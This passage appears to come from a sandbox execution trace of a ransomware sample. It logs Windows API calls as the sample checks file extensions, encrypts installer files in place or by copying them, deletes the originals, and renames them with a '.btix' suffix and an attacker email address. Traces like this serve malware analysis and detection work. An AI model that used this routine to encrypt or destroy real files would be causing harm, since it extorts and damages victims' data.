(lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.722] lstrlenW (lpString=".dbf") returned 4 [0043.722] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0043.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.722] lstrlenW (lpString=".1cd") returned 4 [0043.722] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0043.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Setup.ico") returned 40 [0043.722] lstrlenW (lpString=".jpg") returned 4 [0043.722] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0043.722] lstrcmpiW (lpString1=".msi", lpString2=".btix") returned 1 [0043.722] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0043.722] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0043.723] GetFileSizeEx (in: hFile=0x32c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=1901056) returned 1 [0043.723] CloseHandle (hObject=0x32c) returned 1 [0043.723] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0043.723] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0043.723] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 1 [0043.723] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0043.723] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0x0) returned 1 [0043.723] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0043.723] ReadFile (in: hFile=0x32c, lpBuffer=0x38fa058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x38fa058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0044.089] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0044.089] ReadFile (in: hFile=0x32c, lpBuffer=0x393a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x393a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0044.153] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x262fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0044.153] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x262fc24 | out: lpNewFilePointer=0x0) returned 1 [0044.153] ReadFile (in: hFile=0x32c, lpBuffer=0x397a058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x262fc30, lpOverlapped=0x0 | out: lpBuffer=0x397a058*, lpNumberOfBytesRead=0x262fc30*=0x40000, lpOverlapped=0x0) returned 1 [0044.259] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.259] WriteFile (in: hFile=0x32c, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x262fca8, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0044.283] SetEndOfFile (hFile=0x32c) returned 1 [0044.289] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x40000) returned 0x4343f18 [0044.289] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0044.289] WriteFile (in: hFile=0x32c, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0044.290] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0044.290] WriteFile (in: hFile=0x32c, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0044.292] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x262fc74 | out: lpNewFilePointer=0x0) returned 1 [0044.292] WriteFile (in: hFile=0x32c, lpBuffer=0x4343f18*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x262fc80, lpOverlapped=0x0 | out: lpBuffer=0x4343f18*, lpNumberOfBytesWritten=0x262fc80*=0x40000, lpOverlapped=0x0) returned 1 [0044.294] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4343f18 | out: hHeap=0x690000) returned 1 [0044.294] CloseHandle (hObject=0x32c) returned 1 [0044.807] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.808] lstrlenW (lpString=".doc") returned 4 [0044.808] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.808] lstrlenW (lpString=".docx") returned 5 [0044.808] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0044.808] lstrlenW (lpString=".pdf") returned 4 [0044.808] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.808] lstrlenW (lpString=".xls") returned 4 [0044.809] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.809] lstrlenW (lpString=".xlsx") returned 5 [0044.809] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0044.809] lstrlenW (lpString=".ppt") returned 4 [0044.809] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.809] lstrlenW (lpString=".zip") returned 4 [0044.809] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.809] lstrlenW (lpString=".rar") returned 4 [0044.809] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.809] lstrlenW (lpString=".bz2") returned 4 [0044.809] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.809] lstrlenW (lpString=".7z") returned 3 [0044.809] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.809] lstrlenW (lpString=".dbf") returned 4 [0044.809] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.809] lstrlenW (lpString=".1cd") returned 4 [0044.809] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.809] lstrlenW (lpString=".jpg") returned 4 [0044.809] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.810] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.810] lstrlenW (lpString=".doc") returned 4 [0044.811] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.811] lstrlenW (lpString=".docx") returned 5 [0044.811] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0044.811] lstrlenW (lpString=".pdf") returned 4 [0044.811] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.811] lstrlenW (lpString=".xls") returned 4 [0044.811] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.811] lstrlenW (lpString=".xlsx") returned 5 [0044.812] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0044.812] lstrlenW (lpString=".ppt") returned 4 [0044.812] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.812] lstrlenW (lpString=".zip") returned 4 [0044.812] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.812] lstrlenW (lpString=".rar") returned 4 [0044.812] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.812] lstrlenW (lpString=".bz2") returned 4 [0044.812] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.812] lstrlenW (lpString=".7z") returned 3 [0044.812] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.812] lstrlenW (lpString=".dbf") returned 4 [0044.812] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.812] lstrlenW (lpString=".1cd") returned 4 [0044.812] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.812] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0044.812] lstrlenW (lpString=".jpg") returned 4 [0044.812] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.812] lstrcmpiW (lpString1=".msi", lpString2=".btix") returned 1 [0044.812] lstrlenW (lpString="netfx_Extended_x86.msi") returned 22 [0044.812] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.918] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=495616) returned 1 [0044.918] CloseHandle (hObject=0x368) returned 1 [0044.918] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 0x80 [0044.919] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.919] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.919] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.919] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.919] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0044.919] GetLastError () returned 0x0 [0044.919] ReadFile (in: hFile=0x368, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x79000, lpOverlapped=0x0) returned 1 [0044.973] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x79010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x79010, lpOverlapped=0x0) returned 1 [0044.980] ReadFile (in: hFile=0x368, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0044.980] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x100, lpOverlapped=0x0) returned 1 [0044.980] SetEndOfFile (hFile=0x2e0) returned 1 [0044.980] CloseHandle (hObject=0x2e0) returned 1 [0044.988] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.988] SetEndOfFile (hFile=0x368) returned 1 [0044.992] CloseHandle (hObject=0x368) returned 1 [0044.992] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0044.992] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi")) returned 1 [0044.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.993] lstrlenW (lpString=".doc") returned 4 [0044.993] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.993] lstrlenW (lpString=".docx") returned 5 [0044.993] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0044.993] lstrlenW (lpString=".pdf") returned 4 [0044.993] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.993] lstrlenW (lpString=".xls") returned 4 [0044.993] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.993] lstrlenW (lpString=".xlsx") returned 5 [0044.993] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0044.993] lstrlenW (lpString=".ppt") returned 4 [0044.993] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.993] lstrlenW (lpString=".zip") returned 4 [0044.993] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.993] lstrlenW (lpString=".rar") returned 4 [0044.993] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.993] lstrlenW (lpString=".bz2") returned 4 [0044.993] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.993] lstrlenW (lpString=".7z") returned 3 [0044.993] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.993] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.993] lstrlenW (lpString=".dbf") returned 4 [0044.993] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.994] lstrlenW (lpString=".1cd") returned 4 [0044.994] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.994] lstrlenW (lpString=".jpg") returned 4 [0044.994] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.994] lstrlenW (lpString=".doc") returned 4 [0044.994] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0044.994] lstrlenW (lpString=".docx") returned 5 [0044.994] lstrcmpiW (lpString1=".docx", lpString2="6.msi") returned -1 [0044.994] lstrlenW (lpString=".pdf") returned 4 [0044.994] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0044.994] lstrlenW (lpString=".xls") returned 4 [0044.994] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0044.994] lstrlenW (lpString=".xlsx") returned 5 [0044.994] lstrcmpiW (lpString1=".xlsx", lpString2="6.msi") returned -1 [0044.994] lstrlenW (lpString=".ppt") returned 4 [0044.994] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0044.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.994] lstrlenW (lpString=".zip") returned 4 [0044.994] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0044.994] lstrlenW (lpString=".rar") returned 4 [0044.994] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0044.994] lstrlenW (lpString=".bz2") returned 4 [0044.994] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0044.994] lstrlenW (lpString=".7z") returned 3 [0044.994] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0044.994] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.994] lstrlenW (lpString=".dbf") returned 4 [0044.995] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0044.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.995] lstrlenW (lpString=".1cd") returned 4 [0044.995] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0044.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi") returned 44 [0044.995] lstrlenW (lpString=".jpg") returned 4 [0044.995] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0044.995] lstrcmpiW (lpString1=".msi", lpString2=".btix") returned 1 [0044.995] lstrlenW (lpString="RGB9RAST_x64.msi") returned 16 [0044.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.995] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=184832) returned 1 [0044.995] CloseHandle (hObject=0x368) returned 1 [0044.995] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 0x80 [0044.995] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0044.995] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0044.995] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.996] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0044.996] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0044.996] GetLastError () returned 0x0 [0044.996] ReadFile (in: hFile=0x368, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x2d200, lpOverlapped=0x0) returned 1 [0045.405] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x2d210, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x2d210, lpOverlapped=0x0) returned 1 [0045.408] ReadFile (in: hFile=0x368, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0045.408] WriteFile (in: hFile=0x2e0, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0xf4, lpOverlapped=0x0) returned 1 [0045.409] SetEndOfFile (hFile=0x2e0) returned 1 [0045.409] CloseHandle (hObject=0x2e0) returned 1 [0045.412] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0045.412] SetEndOfFile (hFile=0x368) returned 1 [0045.413] CloseHandle (hObject=0x368) returned 1 [0045.413] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x80) returned 1 [0045.414] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi" (normalized: "c:\\588bce7c90097ed212\\rgb9rast_x64.msi")) returned 1 [0045.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.414] lstrlenW (lpString=".doc") returned 4 [0045.414] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.414] lstrlenW (lpString=".docx") returned 5 [0045.414] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0045.414] lstrlenW (lpString=".pdf") returned 4 [0045.414] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.414] lstrlenW (lpString=".xls") returned 4 [0045.414] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.414] lstrlenW (lpString=".xlsx") returned 5 [0045.414] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0045.414] lstrlenW (lpString=".ppt") returned 4 [0045.414] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.414] lstrlenW (lpString=".zip") returned 4 [0045.414] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.414] lstrlenW (lpString=".rar") returned 4 [0045.414] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.414] lstrlenW (lpString=".bz2") returned 4 [0045.414] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.414] lstrlenW (lpString=".7z") returned 3 [0045.414] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.414] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.415] lstrlenW (lpString=".dbf") returned 4 [0045.415] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.415] lstrlenW (lpString=".1cd") returned 4 [0045.415] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.415] lstrlenW (lpString=".jpg") returned 4 [0045.415] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.415] lstrlenW (lpString=".doc") returned 4 [0045.415] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.415] lstrlenW (lpString=".docx") returned 5 [0045.415] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0045.415] lstrlenW (lpString=".pdf") returned 4 [0045.415] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.415] lstrlenW (lpString=".xls") returned 4 [0045.415] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.415] lstrlenW (lpString=".xlsx") returned 5 [0045.415] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0045.415] lstrlenW (lpString=".ppt") returned 4 [0045.415] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.415] lstrlenW (lpString=".zip") returned 4 [0045.415] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.415] lstrlenW (lpString=".rar") returned 4 [0045.415] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.415] lstrlenW (lpString=".bz2") returned 4 [0045.415] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.415] lstrlenW (lpString=".7z") returned 3 [0045.415] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.415] lstrlenW (lpString=".dbf") returned 4 [0045.415] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.415] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.416] lstrlenW (lpString=".1cd") returned 4 [0045.416] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.416] lstrlenW (lpString="C:\\588bce7c90097ed212\\RGB9RAST_x64.msi") returned 38 [0045.416] lstrlenW (lpString=".jpg") returned 4 [0045.416] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.416] lstrcmpiW (lpString1=".dll", lpString2=".btix") returned 1 [0045.416] lstrlenW (lpString="SetupUi.dll") returned 11 [0045.416] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.dll" (normalized: "c:\\588bce7c90097ed212\\setupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 